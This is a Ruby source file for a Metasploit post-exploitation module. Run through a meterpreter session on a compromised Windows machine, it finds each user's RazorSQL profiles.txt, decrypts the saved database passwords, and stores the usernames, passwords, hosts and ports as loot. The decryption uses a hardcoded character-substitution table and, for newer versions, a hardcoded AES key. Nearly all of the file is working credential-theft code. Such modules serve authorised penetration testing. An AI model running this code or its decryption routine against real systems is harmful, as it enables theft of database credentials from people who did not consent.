##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather RazorSQL Credentials',
        'Description' => %q{
          This module stores username, password, type, host, port, database (and name)
          collected from profiles.txt of RazorSQL.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Paul Rascagneres <rascagneres[at]itrust.lu>',
          'sinn3r' # Reporting, file parser
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_stat
            ]
          }
        }
      )
    )
  end

  def get_profiles
    profiles = []
    grab_user_profiles.each do |user|
      next unless user['ProfileDir']

      ['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path|
        file = "#{user['ProfileDir']}\\#{profile_path}"
        profiles << file if file?(file)
      end
    end

    profiles
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run
    print_status('Checking All Users...')
    creds_tbl = Rex::Text::Table.new(
      'Header' => 'RazorSQL User Credentials',
      'Indent' => 1,
      'Columns' =>
        [
          'Username',
          'Password',
          'Type',
          'Host',
          'Port',
          'Database Name',
          'Database'
        ]
    )

    get_profiles.each do |profile_path|
      content = get_content(profile_path)
      next if content.blank?

      parse_content(creds_tbl, content).each do |cred|
        creds_tbl << cred
      end
    end

    if creds_tbl.rows.empty?
      print_status('No creds collected.')
    else
      path = store_loot(
        'razor.user.creds',
        'text/csv',
        session,
        creds_tbl.to_s,
        'razor_user_creds.txt',
        'RazorSQL User Credentials'
      )
      print_line(creds_tbl.to_s)
      print_status("User credentials stored in: #{path}")
    end
  end

  def get_content(file)
    found = begin
      session.fs.file.stat(file)
    rescue StandardError
      nil
    end
    return if !found

    content = ''
    infile = session.fs.file.new(file, 'rb')
    content << infile.read until infile.eof?
    return content
  end

  def parse_content(_table, content)
    creds = []
    content = content.split(/\(\(Z~\]/)
    content.each do |db|
      database = (db.scan(/database=(.*)/).flatten[0] || '').strip
      user = (db.scan(/user=(.*)/).flatten[0] || '').strip
      type = (db.scan(/type=(.*)/).flatten[0] || '').strip
      host = (db.scan(/host=(.*)/).flatten[0] || '').strip
      port = (db.scan(/port=(.*)/).flatten[0] || '').strip
      dbname = (db.scan(/databaseName=(.*)/).flatten[0] || '').strip
      pass = (db.scan(/password=(.*)/).flatten[0] || '').strip

      # Decrypt if there's a password
      unless pass.blank?
        if pass =~ /\{\{\{VFW(.*)!\^\*#\$RIG/
          decrypted_pass = decrypt_v2(::Regexp.last_match(1))
        else
          decrypted_pass = decrypt(pass)
        end
      end

      pass = decrypted_pass || pass

      # Store data
      creds << [user, pass, type, host, port, dbname, database]

      # Don't report if there's nothing to report
      next if user.blank? && pass.blank?

      report_cred(
        ip: rhost,
        port: port.to_i,
        service_name: database,
        user: user,
        password: pass
      )
    end

    return creds
  end

  def decrypt(encrypted_password)
    magic_key = {
      '/' => 'a', '<' => 'b', '>' => 'c', ':' => 'd', 'X' => 'e',
      'c' => 'f', 'W' => 'g', 'd' => 'h', 'V' => 'i', 'e' => 'j',
      'f' => 'k', 'g' => 'l', 'U' => 'm', 'T' => 'n', 'S' => 'o',
      'n' => 'p', 'm' => 'q', 'l' => 'r', 'k' => 's', 'j' => 't',
      'i' => 'u', 'h' => 'v', 'P' => 'w', 'Q' => 'x', 'R' => 'y',
      'o' => 'z', 'p' => 'A', 'q' => 'B', 'r' => 'C', 't' => 'D',
      's' => 'E', 'L' => 'F', 'M' => 'H', 'O' => 'I', 'N' => 'J',
      'J' => 'K', 'v' => 'L', 'u' => 'M', 'z' => 'N', 'y' => 'O',
      'w' => 'P', 'x' => 'Q', 'G' => 'R', 'H' => 'S', 'A' => 'T',
      'B' => 'U', 'D' => 'V', 'C' => 'W', 'E' => 'X', 'F' => 'Y',
      'I' => 'Z', '?' => '1', '3' => '2', '4' => '3', '5' => '4',
      '6' => '5', '7' => '6', '8' => '7', '9' => '8', '2' => '9',
      '.' => '0', '+' => '+', '"' => '"', '*' => '*', '%' => '%',
      '&' => '&', 'Z' => '/', '(' => '(', ')' => ')', '=' => '=',
      ',' => '?', '!' => '!', '$' => '$', '-' => '-', '_' => '_',
      'b' => ':', '0' => '.', ';' => ';', '1' => ',', '\\' => '\\',
      'a' => '<', 'Y' => '>', "'" => "'", '^' => '^', '{' => '{',
      '}' => '}', '[' => '[', ']' => ']', '~' => '~', '`' => '`'
    }
    password = ''
    for letter in encrypted_password.chomp.each_char
      char = magic_key[letter]

      # If there's a nil, it indicates our decryption method does not work for this version.
      return nil if char.nil?

      password << char
    end

    password
  end

  def decrypt_v2(encrypted)
    enc = Rex::Text.decode_base64(encrypted)
    key = Rex::Text.decode_base64('LAEGCx0gKU0BAQICCQklKQ==')

    aes = OpenSSL::Cipher.new('AES-128-CBC')
    aes.decrypt
    aes.key = key

    aes.update(enc) + aes.final
  end
end

=begin
http://www.razorsql.com/download.html
Tested on: v5.6.2 (win32)
=end
